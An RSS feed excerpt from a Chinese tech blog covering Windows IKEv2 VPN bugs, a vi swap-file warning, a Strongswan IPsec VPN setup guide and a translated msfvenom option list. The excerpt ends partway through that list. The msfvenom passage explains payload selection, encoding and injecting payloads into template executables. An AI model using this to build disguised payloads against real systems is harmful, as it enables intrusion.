&lt;p&gt;&lt;strong&gt;WindowsPhone8.1&lt;/strong&gt; 登录时的用户名需要带上域信息,即wp&amp;quot;关于&amp;quot;页面的设备名称\用户名,也可以使用%any %any : EAP &amp;ldquo;密码&amp;quot;进行任意用户名登录,但指定了就不能添加其他用户名了.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;WindowsPhone10&lt;/strong&gt;的vpn还存在bug(截至10586.164),ikeV2方式可连接但系统流量不会走vpn,只能等微软解决. (截至14393.5 ,此bug已经得到修复,现在WP10已经可以正常使用IkeV2.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Windows10&lt;/strong&gt; 也存在此bug,部分Win10系统连接后ip不变,没有自动添加路由表,使用以下方法可解决(本方法由 bigbigfish 童鞋提供):&lt;/p&gt;</description></item><item><title>linux下vi操作Found a swap file by the name</title><link>https://www.lucien116.com/archives/107/</link><pubDate>Sat, 03 Sep 2016 21:15:45 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=107</guid><description>&lt;p&gt;当我在linux下用vi打开Test.java文件时&lt;/p&gt;
&lt;p&gt;[root@localhost tmp]# vi Test.java&lt;/p&gt;
&lt;p&gt;会出现如下信息：&lt;/p&gt;
&lt;p&gt;Dos代码&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;E325: ATTENTION&lt;/li&gt;
&lt;li&gt;Found a swap file by the name &amp;ldquo;.Test.java.swp&amp;rdquo;&lt;/li&gt;
&lt;li&gt;         owned by: root   dated: Wed Dec  713:52:562011&lt;/li&gt;
&lt;li&gt;         file name: /var/tmp/Test.java&lt;/li&gt;
&lt;li&gt;         modified: YES&lt;/li&gt;
&lt;li&gt;         user name: root   host name: localhost&lt;/li&gt;
&lt;li&gt;         process ID: 26153 (still running)&lt;/li&gt;
&lt;li&gt;While opening file &amp;ldquo;Test.java&amp;rdquo;&lt;/li&gt;
&lt;li&gt;             dated: Wed Dec  714:00:462011&lt;/li&gt;
&lt;li&gt;      NEWER than swap file!&lt;/li&gt;
&lt;li&gt;(1) Another program may be editing the same file.&lt;/li&gt;
&lt;li&gt;    If this is the case, be careful not to end up with two&lt;/li&gt;
&lt;li&gt;    different instances of the same file when making changes.&lt;/li&gt;
&lt;li&gt;    Quit, or continue with caution.&lt;/li&gt;
&lt;li&gt;(2) An edit session for this file crashed.&lt;/li&gt;
&lt;li&gt;    If this is the case, use &amp;ldquo;:recover&amp;rdquo; or &amp;ldquo;vim -r Test.java&amp;rdquo;&lt;/li&gt;
&lt;li&gt;    to recover the changes (see &amp;ldquo;:help recovery&amp;rdquo;).&lt;/li&gt;
&lt;li&gt;    If you did this already, delete the swap file &amp;ldquo;.Test.java.swp&amp;rdquo;&lt;/li&gt;
&lt;li&gt;    to avoid this message.&lt;/li&gt;
&lt;li&gt;&amp;ldquo;Test.java&amp;rdquo; 11L, 237C&lt;/li&gt;
&lt;li&gt;Press ENTER or type command to continue&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;原因是我之前有一次使用vi 操作Test.java文件时出现了异常中断，所以在当前目录下产生了一个.Test.java.swp文件&lt;/p&gt;</description></item><item><title>使用Strongswan架设Ipsec VPN</title><link>https://www.lucien116.com/archives/106/</link><pubDate>Sat, 03 Sep 2016 21:12:13 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=106</guid><description>&lt;p&gt;本教学介绍了如何使用 Strongswan 5.0.x 在 openSUSE 12.3+ 服务器上架设支持 ikev1/ikev2 的 Ipsec VPN。适用于 openSUSE、iOS、Android、Windows 和其它 Linux。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt; Strongswan 5 即现在的主力支持版本和 Strongswan 4 的 ipsec.conf 有很大的不同（作废了很多选项），请保证您的版本为 5.0.4+ 本教学才有参考价值。因此请不要往 Debian 这些软件包版本旧的系统上套，同样 openSUSE 用户也不要拿 Debian 的来套。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt; 本文的例子仅以最常见的 VPS/客户机模式为例，假设客户机使用图形客户端，因此并不涉及客户端文本配置的内容。其中的原理和服务器端配置可用于其它用途比如服务器到服务器（Site to Site）的连接，但这种连接的客户端文本配置部分需要领会原理自己写。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt; 本文只适用于有 VPS 的爱好者使用，并不提供已建立好的 demo 供测试，但保证文中出现的配置如无意外如上游改选项，实际中都是能够使用的。因此并不可用于「免费 VPN」这样的话题，如何优惠购买 VPS 请到我们的论坛 &lt;a href="https://forum.suse.org.cn/"&gt;forum.suse.org.cn&lt;/a&gt;。本文也不讨论如何进行后台计费，但提供了计费软件的名称供 VPN 服务商参考，因此只适用于小团体的共用。如果小群体产生流量纠纷而需区分账户，那解散才是治本的方法，其它都只能治标。&lt;/p&gt;
&lt;h2 id="目录"&gt;目录&lt;/h2&gt;
&lt;p&gt;[ &lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#"&gt;隐藏&lt;/a&gt;]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E4.BB.80.E4.B9.88.E6.98.AF_IPsec.EF.BC.9F"&gt;1什么是 IPsec？&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E8.AE.BE.E5.A4.87.2F.E6.93.8D.E4.BD.9C.E7.B3.BB.E7.BB.9F.E8.A7.84.E6.A0.BC"&gt;2设备/操作系统规格&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#Linux"&gt;2.1Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#Android"&gt;2.2Android&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#iOS.2FMac_OS_X"&gt;2.3iOS/Mac OS X&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#Windows"&gt;2.4Windows&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E5.AE.89.E8.A3.85_Srongswan"&gt;3安装 Srongswan&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E7.94.9F.E6.88.90.E8.AF.81.E4.B9.A6.EF.BC.88.E5.8F.AF.E9.80.89.EF.BC.89"&gt;4生成证书（可选）&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E7.94.9F.E6.88.90_CA_.E8.AF.81.E4.B9.A6"&gt;4.1生成 CA 证书&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E7.94.9F.E6.88.90.E6.9C.8D.E5.8A.A1.E5.99.A8.E8.AF.81.E4.B9.A6"&gt;4.2生成服务器证书&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E7.94.9F.E6.88.90.E5.AE.A2.E6.88.B7.E7.AB.AF.E8.AF.81.E4.B9.A6"&gt;4.3生成客户端证书&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E7.94.9F.E6.88.90_pkcs12_.E8.AF.81.E4.B9.A6.EF.BC.88.E5.8F.AF.E9.80.89.EF.BC.89"&gt;4.4生成 pkcs12 证书（可选）&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E5.AE.89.E8.A3.85.E8.AF.81.E4.B9.A6"&gt;5安装证书&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E9.85.8D.E7.BD.AE_Strongswan"&gt;6配置 Strongswan&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#ipsec.conf"&gt;6.1ipsec.conf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#ipsec.secrets"&gt;6.2ipsec.secrets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#strongswan.conf"&gt;6.3strongswan.conf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E5.90.AF.E5.8A.A8_Strongswan"&gt;7启动 Strongswan&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E9.85.8D.E7.BD.AE_Iptables_.E8.BD.AC.E5.8F.91"&gt;8配置 Iptables 转发&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#openSUSE_.E5.AE.A2.E6.88.B7.E7.AB.AF.E9.85.8D.E7.BD.AE"&gt;9openSUSE 客户端配置&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E5.85.B6.E5.AE.83.E5.AE.A2.E6.88.B7.E7.AB.AF.E9.85.8D.E7.BD.AE"&gt;10其它客户端配置&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E5.85.B6.E5.AE.83_Linux"&gt;10.1其它 Linux&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#Chakra_Linux"&gt;10.1.1Chakra Linux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#iOS"&gt;10.2iOS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#Android_2"&gt;10.3Android&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#IPSec_Xauth_PSK"&gt;10.3.1IPSec Xauth PSK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.22strongSwan_VPN_Client.22_for_Android_4.0_.28ICS.29.2B"&gt;10.3.2&amp;quot;strongSwan VPN Client&amp;quot; for Android 4.0 (ICS)+&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#Windows_XP.2FVista"&gt;10.4Windows XP/Vista&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E4.BD.BF.E7.94.A8_Shrew_Soft_VPN_Client"&gt;10.4.1使用 Shrew Soft VPN Client&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#Windows_7.2B"&gt;10.5Windows 7+&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E8.B0.83.E8.AF.95"&gt;11调试&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E6.97.A5.E5.BF.97.E9.98.85.E8.AF.BB.E6.8A.80.E5.B7.A7"&gt;11.1日志阅读技巧&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E6.9C.8D.E5.8A.A1.E5.99.A8.E7.AB.AF.E8.B0.83.E8.AF.95"&gt;11.2服务器端调试&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#Linux_.E8.B0.83.E8.AF.95"&gt;11.3Linux 调试&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#iOS_.E8.B0.83.E8.AF.95"&gt;11.4iOS 调试&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#Android_.E8.B0.83.E8.AF.95"&gt;11.5Android 调试&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#Windows_.E8.B0.83.E8.AF.95"&gt;11.6Windows 调试&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E6.89.A9.E5.B1.95.E9.98.85.E8.AF.BB"&gt;12扩展阅读&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E8.AE.A1.E8.B4.B9.E8.BD.AF.E4.BB.B6"&gt;12.1计费软件&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E5.8F.82.E8.80.83.E6.96.87.E7.8C.AE"&gt;13参考文献&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan&amp;amp;variant=zh#.E4.BD.9C.E8.80.85"&gt;14作者&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="什么是-ipsec"&gt;什么是 IPsec？&lt;/h2&gt;
&lt;p&gt;IPsec 是 &lt;a href="http://zh.opensuse.org/SDB:VPN_%E9%85%8D%E7%BD%AE" title="SDB:VPN 配置"&gt;虚拟私密网络（VPN）&lt;/a&gt; 的一种，用于在服务器和客户端之间建立加密隧道并传输敏感数据之用。它由两个阶段组成，第一阶段（Phrase 1, ph1），交换金钥建立连接，使用互联网金钥交换（ike）协议; 第二阶段（Phrase 2, ph2），连接建立后对数据进行加密传输，使用封装安全载荷（esp）协议。参考： &lt;a href="http://zh.wikipedia.org/wiki/IPsec"&gt;维基百科 IPsec 词条&lt;/a&gt;。&lt;/p&gt;</description></item><item><title>Meatsploit Framework msfvenom使用简介</title><link>https://www.lucien116.com/archives/76/</link><pubDate>Wed, 24 Aug 2016 14:01:23 +0000</pubDate><guid isPermaLink="false">http://www.101joy.com/?p=76</guid><description>&lt;p&gt;&lt;strong&gt;2015年6月8日，Wei Chen在rapid7官方博客上发文，将于近期 &lt;a href="https://community.rapid7.com/community/metasploit/blog/2015/06/08/msfpayload-and-msfencode-are-being-removed-from-metasploit"&gt;移除metasploit-framework版本中的msfencoder和msfpayload&lt;/a&gt;，&lt;/strong&gt; &lt;strong&gt;并使用msfvenom取代。官方的msfvenom使用说明&lt;/strong&gt; &lt;a href="https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom"&gt;&lt;strong&gt;戳&lt;/strong&gt; &lt;strong&gt;这里&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;，下面给出翻译的使用说明。&lt;/strong&gt; &lt;a href="http://image.3001.net/images/20150710/14365069167395.png"&gt;&lt;img loading="lazy" src="http://image.3001.net/images/20150710/14365069167395.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;最近一次更新的msf中已经去掉了这两个工具，同时，msfcli也即将被移除。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20150710/14365069227667.png"&gt;&lt;img loading="lazy" src="http://image.3001.net/images/20150710/14365069227667.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;kali和BT目前使用的MSF依然是旧版，所以用kali和BT5的小伙伴可以暂时不考虑。在其他平台上编译安装msf的童鞋，可能已经发现这个东西了。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20150710/14365069277221.png"&gt;&lt;img loading="lazy" src="http://image.3001.net/images/20150710/14365069277221.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;msfvenom命令行选项如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;       &lt;span class="err"&gt;指定需要使用的&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;攻击荷载&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="err"&gt;。如果需要使用自定义的&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="err"&gt;，请使用&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="c1"&gt;#039;-&amp;amp;#039;或者stdin指定&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;       &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;module_type&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;   &lt;span class="err"&gt;列出指定模块的所有可用资源&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="err"&gt;模块类型包括&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;payloads&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoders&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nops&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;nopsled&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;        &lt;span class="err"&gt;为&lt;/span&gt;&lt;span class="n"&gt;payload预先指定一个NOP滑动长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;     &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;        &lt;span class="err"&gt;指定输出格式&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;使用&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;formats&lt;/span&gt; &lt;span class="err"&gt;来获取&lt;/span&gt;&lt;span class="n"&gt;msf支持的输出格式列表&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;encoder&lt;/span&gt;    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;encoder&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;       &lt;span class="err"&gt;指定需要使用的&lt;/span&gt;&lt;span class="n"&gt;encoder&lt;/span&gt;&lt;span class="err"&gt;（编码器）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;arch&lt;/span&gt;       &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;architecture&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="err"&gt;指定&lt;/span&gt;&lt;span class="n"&gt;payload的目标架构&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;platform&lt;/span&gt;   &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;platform&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;      &lt;span class="err"&gt;指定&lt;/span&gt;&lt;span class="n"&gt;payload的目标平台&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;space&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;        &lt;span class="err"&gt;设定有效攻击荷载的最大长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;chars&lt;/span&gt;  &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;          &lt;span class="err"&gt;设定规避字符集，比如&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="c1"&gt;#039;\x00\xff&amp;amp;#039;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;iterations&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;         &lt;span class="err"&gt;指定&lt;/span&gt;&lt;span class="n"&gt;payload的编码次数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;   &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;          &lt;span class="err"&gt;指定一个附加的&lt;/span&gt;&lt;span class="n"&gt;win32&lt;/span&gt; &lt;span class="n"&gt;shellcode文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;template&lt;/span&gt;   &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;          &lt;span class="err"&gt;指定一个自定义的可执行文件作为模板&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;keep&lt;/span&gt;                       &lt;span class="err"&gt;保护模板程序的动作，注入的&lt;/span&gt;&lt;span class="n"&gt;payload作为一个新的进程运行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;            &lt;span class="err"&gt;列举&lt;/span&gt;&lt;span class="n"&gt;payload的标准选项&lt;/span&gt;
